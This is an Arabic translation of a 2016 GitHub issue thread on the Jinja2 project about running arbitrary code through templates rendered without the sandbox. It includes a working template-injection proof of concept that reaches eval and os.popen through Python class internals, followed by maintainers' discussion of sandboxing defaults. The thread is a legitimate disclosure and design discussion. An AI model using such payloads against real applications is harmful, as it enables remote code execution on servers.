Jinja: تنفيذ أكواد عشوائية في قالب بدون بيئة آلية تحديد الصلاحيات.

تم إنشاؤها على ٢٣ فبراير ٢٠١٦  ·  6تعليقات  ·  مصدر: pallets/jinja

عندما أستخدم إطار عمل قالب Jinja2 في مشروعي ، وجدت طريقة لاستدعاء "os.popen ('id')" أو وظائف أخرى بدون تسجيل عالمي.
من السهل الحصول على قذيفة عندما يتمكن المهاجم من التحكم في محتوى النموذج. هل هذا مثل هذا التصميم؟

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

أختبر هذا الكود باستخدام python2 (2.7.10) و Jinja2 (2.8) ، إذا كان يعمل فسيتم طباعة uid الخاص بالمستخدم ...

التعليق الأكثر فائدة

يجب ألا تقوم بتنفيذ قوالب غير موثوق بها في بيئة غير محمية بوضع الحماية. هذا هو سبب وجود آلية الحماية (ولكي أكون صادقًا ، حتى مع وجود Sandbox ، لن أسمح للمستخدمين بتقديم قوالب Jinja التعسفية)

ال 6 كومينتر

يجب ألا تقوم بتنفيذ قوالب غير موثوق بها في بيئة غير محمية بوضع الحماية. هذا هو سبب وجود آلية الحماية (ولكي أكون صادقًا ، حتى مع وجود Sandbox ، لن أسمح للمستخدمين بتقديم قوالب Jinja التعسفية)

فهل من الضروري اتخاذ إجراءات لمنع هذه الحالة؟ أعتقد أن هناك بعض التطبيقات المحددة ستسمح للمستخدمين بتعديل محتوى النموذج ، لكن لا توجد أمثلة عملية.

أعتقد أنه من الضروري استخدام وضع الحماية افتراضيًا ، لأن القارورة أو إطار ويب آخر يستخدم Jinja2 لا يقوم بذلك.

لماذا تريد استخدام آلية تحديد الصلاحيات افتراضيًا؟ في معظم الحالات ، لا يمكن تغيير القوالب بواسطة الأشخاص غير الموثوق بهم الذين ليس لديهم حق الوصول إلى الشفرة على أي حال.

هناك حالة تتعلق بتنفيذ التعليمات البرمجية عن بُعد عبر حقن قالب Flask / Jinja2 في Uber.
الرابط: http://www.tuicool.com/articles/uE3YNjY

لا يمكن تمكين وضع الحماية افتراضيًا بسبب التوافق العكسي ، كما أنه غير معقول لأن معظم القوالب (في Flask) موثوق بها.

هل كانت هذه الصفحة مفيدة؟
0 / 5 - 0 التقييمات